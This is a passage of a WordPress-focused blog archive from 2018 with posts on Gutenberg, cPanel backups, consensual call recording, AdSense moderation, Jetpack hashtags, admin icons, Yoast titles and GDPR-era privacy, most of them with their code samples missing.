This means that advanced customization of post content is left to templating engines in those page-builder plugins, which either have to re-jigger the whole screen (like Gutenberg) or utilize a complex nesting of shortcodes (like that other plugin you’re thinking about). Neither is a great experience for users, especially when no two page builders work the same way.
## The HTML Editor is Cryptic
If you’re not a developer or someone who read the original HTML 2.0 spec book (hardcover, y’all), then HTML may be a beast you don’t understand. It’s complicated, it has a lot of weird quirks, and you’ll hear people tell you to use tables (or not), or use divs (or not), or only troglodytes use spans and colors.
Basically it’s confusing unless you know HTML, and that means if you’re *not* an advanced user or a designer/developer, you’re screwed. You’re expected to learn a whole new suite of complex arcana just to make a table with today’s WordPress. Or you use a plugin and then you find out the semantic HTML it used was problematic, and you have no idea how to fix it.
Anyone who supports end-users who know MS Word and not WordPress have dealt with this drama. It’s real, and WordPress is still struggling to address it. Which is why we have Gutenberg in the pipeline.
## Gutenberg Isn’t Perfect
None of this is to say that Gutenberg is perfect. I’ve had experiences with exactly how hard it is to wrangle. Building new blocks is crazy hard if you’re not using simple reusable blocks like my favourite spoiler block:
If you want to make a complicated nested block it’s frustrating. You have to decide what flavour of Javascript you want to use and how to build it. Let’s be honest here, folks, it’s tough to be a developer in this new land.
And as a user it’s no picnic either. It’s a lot of change and kicking yourself out of old habits and into embracing the new. Which we’re all generally terrible at. You have to shift from a fundamental concept of “Big Chunk of Content” and into “Smaller Blocks of Content.” Meta boxes and data like we add with ACF and CMB2 isn’t perfect yet either. Heck, I can’t even customize my Jetpack sharing with Gutenberg yet.
But. As we use Gutenberg and as we inch forward, we start to see the progress. I can still insert tables via HTML *inside* a Gutenberg post. I can build (or hire someone to have built) a block to tweak things to my heart’s content. Things may be hard, but they’re possible.
## You Must Break a Bone to Set It
When I was 11, I broke my arm. And I remember the feeling of abject horror when the doctor told me they’d have to break my arm again in order to set it. I used some language they’d never heard from a child my age. And it hurt like hell. It was the most pain I’d been in my young life.
My arm never worked the ‘same’ way afterwards either. Oh sure, I could do pretty much everything, but I had to compensate and learn new ways to do other things. I don’t have full rotation in my wrist still, though it’s much better, which meant I had to change how I did certain motions. Like typing, that hand rarely rests on the keyboard. In short, I had to adapt.
The current editor is imperfect and broken. In order to fix it, we must shatter it and move forward. It hurts, it’s a struggle, but if we push each other, we can do this. Continue to criticize the things that are missing ([not being able to hide taxonomies from use](https://github.com/WordPress/gutenberg/issues/6912), for example), but do so in a way to help it forward.
**Categories:** How It Is
**Tags:** essay, gutenberg, oped, wordpress
---
### [cPanel ❤️ DreamObjects](https://halfelf.org/2018/cpanel-❤️-dreamobjects/)
**Published:** August 2, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Backups aren't impossible anymore.
**Content:**
This is something I’ve wanted for a long time. I [opened a ticket with cPanel about it yonks ago](https://features.cpanel.net/topic/ceph-backups) as Ceph storage is offered by more than just Amazon, and yet cPanel was making it super hard to use for backups.
Well in the next release of cPanel, this will no longer be the case! If you’re on version 74 (which is in release stage, but not current, so most people do not have it yet) you can do this.
## Add A New Backup Option
Go to Home > Backups and open up the settings.
In there, you can add a new Backup option. Pick **S3 Compatible**:
## Configure for DreamObjects
Now just throw in the right data:
You’ll want to use `objects-us-east1.dream.io` for the endpoint, and then your bucket and keys.
## Back it Up
And with that you’re done. Thank you, cPanel!
**Categories:** How To
**Tags:** backup, cpanel, dreamobjects
---
### [Recording Phone Conversations](https://halfelf.org/2018/recording-phone-conversations/)
**Published:** July 31, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to record a phone call on an iPhone. Legally and safely.
**Content:**
If you have an iPhone, it’s annoying hard to record phone conversations these days. In Apple’s defence, that would be because it’s *illegal* to record someone without their consent in many places and, let’s face it, expecting users to know what the law is everywhere is pretty unlikely.
Still, I had the case where I needed to record someone’s phone conversation, with their consent, for an article I was working on. And while I thought of a bunch of solutions like [Audacity](https://www.audacityteam.org) and [Skype](https://skype.com), I hit a wall when they said they could *only* use the phone.
Well now it’s on to a hardware solution.
## What You Need
The basic solution is to connect your phone to an external recording device. This is not exactly simple, as it isn’t ‘just’ plugging your phone into a recorder and pressing go. To do this with an iPhone you need:
1. [an iPhone/headphone adapter](https://www.amazon.com/gp/product/B078XHHQ8P/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B078XHHQ8P&linkId=13cf52284b9dd6681e721fd70af8b6dc) – I recommend one that allows you to use a power adapter while you’re on the phone. In case the call goes long.
2. [a male/male mono stereo cable that can convert 3.5mm to 1/4″](https://www.amazon.com/gp/product/B000068O3F/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B000068O3F&linkId=e4936e28e2ee2b6862f621f986c1a4f4) – Alternatively you can get a [3.5mm cable](https://www.amazon.com/gp/product/B001O5J47U/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B001O5J47U&linkId=90b0a6cdb08d808552f437bedc650b06) and a [1/4″ adapter](https://www.amazon.com/gp/product/B000068O3U/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B000068O3U&linkId=128429d84213c3ed67959c64996c74c2).
3. [a decent XLR microphone](https://www.amazon.com/gp/product/B00X87FAOI/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B00X87FAOI&linkId=5d3dddb962966b2fe62f109656d4aab9) – I prefer a lav mic (the kind you clip on) but if you want a handheld, go for it.
4. headphones – You probably have these already. The regular 3.5mm ones.
5. a recorder like a [Zoom H4n](https://www.amazon.com/gp/product/B01DPOXS8I/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B01DPOXS8I&linkId=170d6271b40990a6550cbf154a45fa97) or a [Tascam DR-40](https://www.amazon.com/gp/product/B005NACC6M/ref=as_li_qf_asin_il_tl?ie=UTF8&tag=lezpress-20&creative=9325&linkCode=as2&creativeASIN=B005NACC6M&linkId=9dc498a636fa90125de10ddb533bf7e4) – It must have at *least* four input channels. The ones that have ‘two’ channels don’t allow you to plug in the phone or mic.
There’s no software needed here, because that recorder saves to an SD card, so you’re going to be able to use that directly. I do recommend a power adapter for your recorder, as the XLR mic will be using power from the recorder and you don’t want it crapping out.
## Putting it Together
The connection method (which you can see on my setup above) is as follows:
1. headphones in so I can hear everything
2. lav mic so people can hear me
3. 1/4″ to 3.5mm adapter
4. 3.5mm male/male cord
5. 3.5mm to iPhone adapter
When someone calls, I answer, make sure they’re okay with being recorded, and off I go.
## Gotchas
There are a couple things to keep an eye on that *will* trip you up.
First of all, you *must* use a mono cable from your phone to the recorder. Stereo will make a weird buzzing sound.
Next, I recommend plugging in everything (including the recorder) because the XLR mic uses phantom power.
Make *sure* you set up your recorder to use input 1/2 as your input. By default, mine is set to ‘mic’ which is the two channel microphone on the top of the recorder. Using that won’t do you any good at all.
And finally? Even if you live in a one-side-consent state (all US states **except** 12 have this, which includes my current of California so yes, I have to ask for consent first), please please please remember to ask the person *before* you press record.
**Categories:** How To
**Tags:** audio, hardware, recording
---
### [Do Robots Dream of Electric Smut?](https://halfelf.org/2018/do-robots-dream-of-electric-smut/)
**Published:** August 7, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** "I'll know it when I see it" works for humans, but not robots.
**Content:**
In July of 2018, I was informed by Google Adsense that specific content on my site was going to have “restricted ad serving” and I needed to go to the policy centre on Adsense to find out why. There was no link to this centre, by the way, and it took me a while to figure out I went to Adsense > Settings > Policy where I saw this:
Yes, that image says that the post about [Legitimate Porn Plugins](https://halfelf.org/2012/legitimate-porn-plugins/) was deemed to be sexual content. My guess is that they don’t like the image, because my post about how [GPL says Porn is Okay](https://halfelf.org/2011/gpl-freedoms-porn-is-good/) did not get flagged.
My friend pointed out that it was ridiculously damaging to moderate content (or at least in this case, revenue) by “casting a wide net based solely on the presence of key words” and she’s quite right. Now I did attempt to get Google to reconsider, but like my past experiences with their censorship and draconian view, they don’t give a damn if you aren’t ‘big.’ And even then, important people get slapped by Google all the time.
## History? What History?
In 1964, there was a landmark case in the US, Jacobellis vs Ohio, about whether the state of Ohio could, consistent with the First Amendment, ban the showing of the Louis Malle film *The Lovers* (*Les Amants*), which the state had deemed obscene. During that case, and the reason it became so well known, was not the content matter.
In fact, the decision remained quite fragmented until 1973 Miller v. California decision in which it was declared that to be smut (i.e. obscene) it must be utterly without redeeming social importance. The SLAPS test addresses this with a check for “serious literary, artistic, political, or scientific value” – and yes, the acronym is hilarious.
No, everyone knows about the first case because of the following quote by Justice Potter Stewart:
> I shall not today attempt further to define the kinds of material I understand to be embraced within that shorthand description; and perhaps I could never succeed in intelligibly doing so. But I know it when I see it, and the motion picture involved in this case is not that.
## Tea, Earl Grey, Hot
When I was very young, maybe six, my father did a talk about artificial intelligence with a slide of Captain Kirk ordering things from the ship’s computer. It stuck with me, which Dad finds amusing, and I’ve often reflected back on it as an understanding of what an AI can and cannot do.
The ship’s computer on *Star Trek* can do a great many things, but it cannot make ‘decisions’ for a person. In the end, a human always has to decide what to do with the variables, what they mean, and how they should be used. Kirk has to ask the computer to chill the wine, for example, and if he doesn’t specify a temperature, the computer will go back to what some other human (or more likely Mr. Spock) has determined is the optimal temperature.
AIs don’t exist. Even as useful as I find digital assistants like Siri and Alexa, I know they aren’t intelligent and they cannot make decisions. They can follow complex if/then/else patterns, but they lack the ability to make innovation. What happens if Kirk just asks for ‘white wine, chilled’? What vintage will he receive? What temperature?
To a degree, this is addressed with how Captain Picard orders his tea. “Tea, Earl Grey, hot.” But someone had to teach the system what ‘hot’ meant and what it meant to *Jean-Luc* and not Riker, who probably never drank any tea. Still, Picard has learned to specify that he wants Earl Grey tea, and he wants it hot. There’s probably some poor tech boffin in the belly of Starfleet who had to enter the optimum temperatures for each type of tea. Certainly my electric kettle has a button for ‘black tea’ but it also tells me that’s 174 degrees Fahrenheit.
## Automation Limitations
My end result with Google was that I had to set up that specific page to not show ads. Ever. Because Google refused to get a human to take a look and go “Oh, its the image, remove that and you’re fine.” But even then a human could look at the image, recognize it’s not pornography, and flag it as clean.
What we have is a limitation in the system, where in there is no human checking, which results in me getting annoyed, and Google being a monolithic annoyance. Basically, Google has automated the system to their specifications, and then instead of putting humans on the front lines to validate, they let it go.
This makes sense from a business perspective, if you’re as big as Google at least. It costs less. But we’ve all read stories about people [getting locked out of their Google accounts, for a month or more](https://techcrunch.com/2017/12/22/that-time-i-got-locked-out-of-my-google-account-for-a-month/), and facing drama because there’s no way to get in touch with a human being.
## The Heart of It All is Humans
And that’s really the heart of the problem.
Have you ever visited a forum or a chat site and it’s full of people acting like decent people to each other? Humans did that. A human sat down, purged the site of the vile content, and had to sit and read it to be sure. They pushed back on trolls and other problematic people, all to help you.
Don’t believe me? Okay, do you remember the WordPress plugin WangGuard by José Conti? He shut the service down in 2017 because it was giving him a mental break down. The plugin worked so well because he, a human being, evaluated content.
> WangGuard worked in two different ways, one an algorithm that had been perfecting for 7 years, and that was perfecting as the sploggers evolved, so it was always ahead of them. And a second part that was human, in which I reviewed many things, and among them sploggers websites to see their content, improve the algorithm and make sure that it worked correctly both when a site was blocked and not it was. The great secret of WangGuard, was this second part, without this second part, WangGuard would not have become what it was.
>
> José Conti – [The True Reason for the Closure of WangGuard](https://www.joseconti.com/2017/07/03/la-verdadera-razon-del-cierre-wangguard/)
Basically, Conti gave himself PTSD trying to make the internet a better place.
Because the absolute only way to make sure something was evil was to look at it. And the only way to make sure something is porn is to look at it.
An AI can’t do that yet.
**Categories:** How It Is
**Tags:** censorship, ethics, google, oped
---
### [Disable Google Ads on One Page](https://halfelf.org/2018/disable-google-ads-on-one-page/)
**Published:** August 9, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So you've given up on whitelisting your page with Google ads and want to get that one page out of the way?
**Content:**
After my adventures with Google telling me I was hosting adult content (again, this is actually my third go-round with them), I’m here to inform you that you can now block Google Ads on one page only.
## Add a URL Channel
First you have to tell Google what your URLs are that you want to treat differently. For that, we’ll use a URL channel which you can find at My Ads > Content > URL Channels. Now, you only get 500 of these, which means you can only flag 500 unique URLs as … well … unique.
You may notice, no wildcards. So I can add `halfelf.org/2012/legitimate-porn-plugins/` but not `halfelf.org/.*/.*[porn].*/` which would be pretty cool. Once you’ve added your URL, you’ll see it like this:
## Edit Ad Settings
I’m using [Auto Ads](http://auto%20ads) because I’m incurably lazy, as my friend Syed knows. So I go to My Ads > Auto Ads, but if you were using specific units, you’d go to My Ads > Ad Units. There you go to the **Advanced URL Settings** section and click on the add button for a new URL Group.
This brings you to a page where you can select the URLs for this group.
When you’ve picked all your URLs (and yes you can add more later), click next and you’ll get a list of all the possible ad units. *Uncheck them all*. That’s the point of this, right? Finally you’ll review the group and give it a name. I picked “No Ads” since that’s what this was.
## Annoyances
1. You have to add in each URL one at a time
2. There’s no wildcards or regex
3. You only get 500 urls
4. You still can’t talk to a human
All in all, it’s another day with Google.
**Categories:** How To
**Tags:** ads, adsense, google
---
### [You'll Probably be Fine with Gutenberg](https://halfelf.org/2018/youll-probably-be-fine-with-gutenberg/)
**Published:** July 26, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You're probably going to be just fine with Gutenberg.
**Content:**
With WordPress 5.0 getting closer and closer, I know a lot of people are worried about Gutenberg and what that will mean for their themes and plugins.
## Most Themes Will Be Fine
The majority of themes, every single one you can download from WordPress.org, and the ones from reputable theme shops like StudioPress, will be just fine. Nothing will break, and other than getting a new editor experience, there’s no change.
What will happen, and yes people will call this breaking, is that not all features will be *supported*.
Right now, most themes *don’t* support some of the more outré block types. And a lot of themes don’t support text columns like this:
And then again, Genesis? Does!
This is a left column
This is a right column
And every theme is going to support [repeatable blocks](https://halfelf.org/2018/you-dont-need-a-block/) which means you’ll be able to build out some nice defaults and standards.
The reason for all this is that if you’re just using Gutenberg as an editor, not a whole lot has changed with your *content*. It remains the same as it ever was, just with a fresh coat of paint.
There *are* exceptions, like themes that rely heavily on features that alter the post editor. I’ll get there in a minute.
## Most Plugins Will be Fine, Too
Here again, unless your plugin interest with the post editor, you are going to be *just fine*. You use Jetpack to publicize your posts? Cool. No change. AMP? No change. Go look at most of your plugins. Caching? No changes. Google Analytics? No change.
The reason here is, again, *most* plugins don’t mess with post editing. I should know. I review them.
I know what you’re thinking, though. What about plugins like Yoast SEO, which add in a bunch of extra boxes at the bottom and sides of a post? The boxes are called Meta Boxes, and they’re already supported. Plus Yoast went to the extra effort of being on the forefront of Gutenberging.
The colours to indicate how good your post’s SEO is, however, are missing right now. So is the field to customize your Jetpack publicize content. Basically everything that went on that sidebar on the post edit screen (the Publish Box) isn’t done yet.
Which brings me to…
## The Exceptions Will Hurt
Okay. I won’t sugar coat this. If you use a complex post editor, like Visual Composer or Bold Grid, or if you use a plugin with a lot of custom meta boxes, the world will be *very* different, and probably unhappy.
Now that said, [Visual Composer *will* work with Gutenberg](https://visualcomposer.io/docs/content-elements-structure/gutenberg-element/)! And so will ACF and CMB2 is well on it’s way. But. The problem is people who have *bundled* those plugins in their themes. And those themes will have to update their packages *and* make sure users update.
Anyone who just had a mental image of how many premium themes bundle Visual Composer and tried to calculate the number of users who *don’t* properly update themes regularly… welcome to my world. I’d like to say I’m ‘against’ the bundle, but the reality is that I’m against premium products using libraries and then not managing those libraries properly. Not that it’s easy, and that’s a different topic.
The problem in the exception is that there will be a non-insignificant number of people who have no idea they’re using a problematic library that needs an update.
## Where Do We Go From Here?
This problem is WordPress’ own doing, make no mistake. If the ability to add custom meta boxes and settings and the like was less complicated to begin with, we wouldn’t have needed tools like these to work around it. We still have no decent meta box API, and the settings API is something I regularly call “as intelligent as a bag of wet hair.”
But. Innovation is necessary. We can’t just *not* move forward because we didn’t do things right the first time. And in WordPress’ defence, there was no way to know or even write the ‘right’ way back 15 years ago when all this started. The best tools didn’t exist. And all those ways we built to hack around the problem made it more clear what the right way needed to be.
Which brings us here.
Most of what you do won’t be impacted by Gutenberg. What is adversely impacted won’t break most things, but it will be really annoying. And then those rare edge case exceptions? Well. We’re back to the words (paraphrased) of [Hecht](https://halfelf.org/2011/failure-of-imagination/).
When infrequently used systems break, they do so in big ways.
**Categories:** How It Is
**Tags:** gutenberg, wordpress
---
### [Hashtag your Jetpack with Taxonomies](https://halfelf.org/2018/hashtag-your-jetpack-with-taxonomies/)
**Published:** July 24, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A different way to customize your hashtags.
**Content:**
So maybe you read my post about hash tagging Jetpack Publisher posts with a complex check of “Is this tag *also* a custom post type?” and you thought “Mika, that’s awesome. But I don’t have a database of shows!”
To my reporter friend who lamented this to me, I have a solution.
## The Real Problem
I think most of the problem with Jetpack’s custom Publicize message is that it’s (rightly) hidden by default. *Most* people don’t need it. But those that do want to *see it* so we remember “and do this…”

And let’s be honest, this visibility issue is going to be *worse* when we move to Gutenberg.
Again, I don’t think Jetpack is in the wrong here. The majority of users don’t need to be so aggro about their messages. There are a lot of WordPress sites that we would classify as ‘smaller’ sites. And those who aren’t tend to need very bespoke/custom solutions, which is the problem.
My solution works for me because it’s easily automated and checkable. We’re very pedantic about tags (seriously, Tracy went through all our tags and cleaned them up), we have a great system to match tag to show, and, most significantly, we know that our social media engagement relies on not just content, but the *appropriate* hashtags. That is, the shows we’re talking about.
This means there are two types of ways to do this:
1\) Make *all* your tags (and/or categories) into your hashtags
2\) Make a custom taxonomy for your hashtags
Since using *all* the tags might be a bit much, I went with option 2.
## The Code
## A Little Explanation
You may notice I added in a bit that looks for a specific category:
The reason here is that on the specific site I wrote this for, they have four (yes four!) categories:
1\) Announcements
2\) News
3\) Fandom (actually named FOR the fandom)
4\) Miscellaneous
They wanted item #3 to be a tag, so it would always `#JanelleMonae` (for example). For them I did a super basic ‘if the fandom, then the hashtag’ but a slightly more common situation would be someone having a category for ‘Fandoms’ and then *subcategories* our fandom. For that you’ll want something like this:
Enjoy your hash tagging!
**Categories:** How It Is
**Tags:** jetpack, wordpress
---
### [Hashtag Your Jetpack with Custom Post Types](https://halfelf.org/2018/hashtag-your-jetpack/)
**Published:** July 19, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Want to put a hashtag on your Jetpack'd tweets? You can do it with a little magic.
**Content:**
The brunt of this code comes from Jeremy Herve, who was explaining to someone how to [add Category hashtags prefixed to Jetpack Publicize tweets](https://gist.github.com/jeherve/7990726).
That is, someone wanted to take a category for a post (say ‘How To’) and convert that into a hashtag (say `#howto`).
I too wanted to do this, but like my [weirdly related posts](https://halfelf.org/2017/demi-related-post-types/), I needed to do the following:
1\) Get the tags
2\) Check if the tag slug was the same as a post slug for a specific custom post type
3\) Output the hashtag as all one-word, no spaces, no hyphens
## Here’s The Code
No more explaining, here’s the code.
The only ‘catch’ you may stumble on is that I’m checking against the post type of `post_type_shows` – just change that as you need to.
Voila! Instant hashtags.
Oh and if you’re wondering why I didn’t put in a check for “Is Jetpack active…” the reason is that this is adding a post meta, and doesn’t actually depend on Jetpack being active at all. Will it ‘clutter up’ your database if Jetpack *isn’t* active? Yes. But it won’t break your site so it’s safe enough for me.
**Categories:** How To
**Tags:** coding, jetpack, wordpress
---
### [Custom Admin and Tool Bar Icons](https://halfelf.org/2018/custom-admin-and-tool-bar-icons/)
**Published:** July 17, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Messing with toolbars and icons.
**Content:**
When you’re making a plugin, sometimes you need a sidebar icon. And adding those in is relatively simple, depending on how you do it. But when you’re adding in something to the toolbar, things get a little messier…
## Dashicons and the Admin Sidebar
The easiest way to add in an icon is to use a [Dashicon](https://developer.wordpress.org/resource/dashicons/#carrot) – part of a set of icons developed by WordPress itself. These are designed to just work with WordPress, and you can include it in your call to add a menu page like so:
These will *automatically* change colors for you when people change their profile colors.
## Dashicons and the Toolbar
But what if you want to add a menu to the toolbar? Well this is a little bit more complicated, due to the fact that there just isn’t a built in way to add that icon.
When you add in a toolbar menu, it looks like this:
While I think the array should accept ‘icon’, it doesn’t, which means you have two choices to add in your icon:
1\) Put `` in front of the ‘HalfElf’ on the title line
2\) Use some CSS
Personally I pick option 2, because that will allow the icon to show when the screen is in mobile view, and all you see are the icons.
For *that* to work, I have the following custom CSS:
I call it on the front and back end, and this works pretty well.
## Adding a Custom SVG
But. What happens when your coworker doesn’t like your joke about the carrot? Well now we’re into the weird land of “I want to use a Custom SVG for my admin bar and my toolbar.” And this is strange because while you can just echo out the SVG, the *color* can be a bit of a mess. Unlike a font-icon, SVGs don’t always play nicely with the sidebar. You have to define their colors in order for the fill replacement to work, and even then I found out that it *doesn’t* go well with the toolbar!
I lifted a page from Yoast SEO, who uses a function `get_icon_svg()` and calls it in place of `'dashicons-carrot'`, making my menu this:
Yoasties, if you’re wondering why I have the extra variable, let me explain.
In their default, they have a one parameter, the true/false, and it defaults to true, so they just use `get_icon_svg()` and call it a day. But I had cases where I wanted things to have specific colors, so I added in a parameter for the color. In addition, I put in some extra checks on how to determine the color based on what admin colors the user had selected:
Personally I find it pretty crazy, and the icon on the toolbar doesn’t reflect the changes until the page is reloaded, but that’s a small price to pay since it doesn’t happen all that often.
**Categories:** How To
**Tags:** admin menu, icons, toolbar, wordpress
---
### [Image Attribution](https://halfelf.org/2018/image-attribution/)
**Published:** July 12, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to add more fields to your images in WordPress.
**Content:**
Did you know you could add fields to the media uploader?
In my case, I was at a convention and a fellow reporter (welcome to my new weird life) muttered she wished it was easier to have just a photo ‘credit’ line when she uploaded media from networks. I asked what system she used to run her site and when she said WordPress, I gave her my biggest smile.
## Image Filters
There are two things we need to filter here.
1. Add our attribution field to the editor
2. Save the attribution data
That’s it. WordPress handles the rest.
## End Result?
It shows up a little lower down than I’d like (I’d prefer it to be up where the URL is) but it works:

Oh and yes, I emailed her the code as a stand-alone plugin. Her IT person was thrilled.
**Categories:** How To
**Tags:** code, filters, wordpress
---
### [Protect My Plugins, Please](https://halfelf.org/2018/protect-my-plugins-please/)
**Published:** July 10, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Managing sites involves managing plugins. No. Not like that.
**Content:**
I have a site that literally requires a specific plugin always be active for things to work. It has a lot of very complicated code, and two things must *never* ever happen to this:
1. It should never be disabled
2. It should never be updated by WordPress
Well. Okay. Let’s do that.
## A Caveat
If you don’t have a way in place to update and secure the plugin you’re hiding, *DON’T DO THIS*. Once you hide it, people won’t know to update it and, in fact, won’t be able to. Because you’re also preventing traditional updates. In my case, I have a git repository that triggers a push (plus some other magic).
Again. Unless you’ve got something set up to handle updates, don’t do this.
Now let’s do this.
## Never Disable Me (by Hiding)
To do this, we need to know the folder name and filename of the plugin, such as ‘my-plugin/my-plugin.php`. If you want to hide the plugin you've put the code in, you can use`plugin\_basename( **FILE** )` instead, which is what I’ve done.
If you were writing a plugin to hide a lot of things, you would change the array to list all of them. But since this is a ‘hide myself’ deal, it’s easier to put it in the plugin itself.
The added bonus to making the file path dynamic is that if someone gets clever and renamed the folder or file, it would still work. Neener.
## Stop My Updates
Now this one again is easier if you put it in the plugin you’re disabling updates for, because again you can use `plugin_basename( __FILE__ )` to detect the plugin. If you’re not, then you’ll need to make an array of names. But that should get you started.
## What Does It Look Like?
Nothing, really. You’ve hidden everything. Congratulations. Now you don’t have to worry about admins or WordPress updating your plugin. Or worse.
**Categories:** How To
**Tags:** administration, plugins, wordpress
---
### [Query Vars, Post Titles, and Yoast SEO](https://halfelf.org/2018/query-vars-post-titles-and-yoast-seo/)
**Published:** July 5, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How to customize your post titles with query variables and Yoast SEO.
**Content:**
Most people who use WordPress use query vars every single day without knowing. Back in the old days, we used to have websites with URLs like `example.com/?p=123` and we called those ‘ugly’ permalinks. This encouraged everyone to make pretty ones, like `example.com/2018/post-name/` instead. What many people don’t realize is that those `?p=123` calls are query variables.
WordPress, and most modern CMS tools, take that pretty permalink, translate it back to a query variable, and go get the post ID with 123. The variable `p` (which stands for post) has a value of 123. It makes sense.
And you can make your own.
## Pretty URLs Are Better
If you have a choice of telling people to visit `example.com/?p=123` or `example.com/2018/post-name/`, I feel confident most of you will pick the latter. And if you’re writing code and you need a consistent location to call, would you rather try to assume that everyone’s using `wp-content` and look for `example.com/wp-content/plugins/myplugin/my-file.php` or would you rather use `example.com/myplugin/`?
Now. This post is *not* about how to make those awesome virtual pages. There are some good tutorials like [Metabox.io’s](https://metabox.io/how-to-create-a-virtual-page-in-wordpress/) to get you started there. This is about when you have a *slightly* different scenario.
## Using Query Variables in Titles
For a number of reasons, I have a page built out to manage my custom query calls. This allows me to edit the content of the page like it was, well, a page! Anyone can edit the page content, change the information, and then everything else is magically generated, it can be easily tweaked to fit my theme, and it basically works for me.
What *doesn’t* work well is that all the pages have the same title. And that, as we all know, is bad SEO. I don’t want all my pages to have the same title, and it’s confusing for users because they go to `example.com/my-thing/sub-thing/` *and* `example.com/my-thing/other-thing/` so logically the page title should be different, right?
Changing the display title on the page isn’t too terrible. I have this code at the top of the page to grab the query variable:
And then when I echo the title, I do this:
Which means my titles are either “My Things” or “My Thing on That”. If I had multiple ‘words’ in my query variables (separated by a – of course) then I’d use a string replace and capitalize each word with `ucwords()`.
## But Page Titles aren’t Title Titles
The problem is the page title isn’t the … well … title title. Have you ever looked at your browser bar? Assuming you don’t have 94 tabs open at once…

Then your browser would look a little like this:

Imagine if they *all* said “My Things | Half-Elf on Tech”? Well that would suck. It sucks for you reading, it sucks for screenreaders, and if you have Yoast SEO, it’s quite easy to fix.
## Custom Yoasty Variables and Titles
Step one is to revisit something I did two years ago, [making a custom Yoast SEO variable](https://halfelf.org/2016/yoast-custom-meta-cpts/). This time I want to make a variable for `%%mything%%`:
And the code will be to grab the query variable and parse it:
Step 2 is going into the page, popping open the snippet editor, and making the title this:

And then? Pour a beer and watch some sports.
**Categories:** How To
**Tags:** seo, wordpress, yoast
---
### [Conceptualizing Privacy](https://halfelf.org/2018/conceptualizing-privacy/)
**Published:** July 3, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Some thoughts on what the difference is between the US and those folks across the pond about privacy.
**Content:**
I know a wonderful human named Heather Burns who cares about privacy and GDPR and has made me quite passionate about understanding what the heck I’m talking about. She’s infectious, smart, and well worded. When she talks I listen.
Earlier this year, she posted [her slides from a speaking event, PHP Yorkshire](https://webdevlaw.uk/wp-content/uploads/2018/04/PHP-Yorkshire.pdf). One of them resonated with me to the point that I keep thinking about it:
 Source: [Heather Burns’ PHP Yorkshire Slides](https://webdevlaw.uk/wp-content/uploads/2018/04/PHP-Yorkshire.pdf)I sat and read it a few times, and I realized that I absolutely 100% agree with all of the UK/Europe concepts and only **one** of the US’s. I won’t touch on all of them, but here are the ones I spend a lot of time pondering.
## Ownership vs Freedom
In the US, there’s a massive misconception that you have a right to say what you want about what you want *without consequences*. This is absolutely not true. [Freedom of speech](https://halfelf.org/2013/censorship-in-moderation/), in the United states, does not exculpate me from what happens to me after I say a thing. But we have a big bugaboo here about how our freedoms are fundamental rights. So even though the first few Amendments to the Constitution are quite clearly about their direct applications to ‘against the government’ and ‘in a militia,’ people take them, twist them, and make them apply to everything else.
This runs into an issue with GDPR and people in the UK and Europe, where the law is that you own your own data. You have a right to it, and to what’s said about you. Yeah hang on there. Folks in the US have a right to say what we want. Folks in the UK/Europe have a right to make us shut up.
That’s working out about as well as you’d think, mostly because we disagree about this other thing…
## Data Ownership
Really, it should be pretty simple for the freedom of speech to coexist with the right to be private. If I post lies about you, you are legally within your rights in the US to demand I take them down. If I post information about you that wasn’t public, like I know you like burn Beanie Babies (those are stuffed animals, folks), then in the US you’re kind of out of luck unless you can prove it caused you ‘harm.’ Across the pond? I have to delete it.
And right there, I agree with the Europeans. If I take *privileged* information and make it public, I’m a horrible human first of all. I’ve betrayed your trust, and I’ve probably done it for financial gain. On the other hand, if I take **public** information (like a photo of you from the Associated Press of you burning a Beanie Baby in Central Park) and share it, I’m still a pretty horrible human, but not in the same way.
As a human, I think I should have the right to own my own data. But this comes with a measure of responsibility. In other words, I’m responsible for what I put out there. If I make it public that I’m a lesbian (which I did), am I legally allowed to demand you remove all references to me being one on your site? In other words, do I get take-backs if I make things public?
Maybe, but over yonder, I should at least ask first!
## Cooperation Before Court
There’s a concept called “[Assume good faith](https://en.wikipedia.org/wiki/Wikipedia:Assume_good_faith)” and it’s one of Wikipedia’s fundamental principles. It’s related to the concept that we should never attribute to malice that which can be ascribed to ignorance. Generally this comes up when I talk to people about copyright or trademark violations. I never assume people meant to violate those things, just that they were unaware of things.
The idea that someone has to ask me to remove a thing before suing me would be a lovely thing. The closest I can think of in the US is the way DMCA requests are handled. That is, I can issue a counter notice and either state “Hey, removed it!” argue back that it’s fair use. But that isn’t the same as the idea that we should talk before we go to lawyers. And that’s, you know, respectful.
I spend a lot of time thinking about this based on two other sites I run, where there *is* personal information of other people. It’s all public-personal information, but in general if someone asks me to remove data, I’ve complied. There was one instance where I didn’t, and I explained why not and the other person agreed it was a fair representation of the situation.
## What Happens Now?
Well. A lot of confusion and arguments about who has the right to what and where and when.
There’s going to be a lot of change in your future.
**Categories:** How It Is
**Tags:** ethics, gdpr, privacy
---
### [HTTPS and HSTS](https://halfelf.org/2016/https-hsts/)
**Published:** August 31, 2016
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little ditty about HSTS and making things even safer! Oh my!
**Content:**
HTTP Strict Transport Security (HSTS) is a standard to protect visitors by ensuring that their browsers always connect to a website over HTTPS.
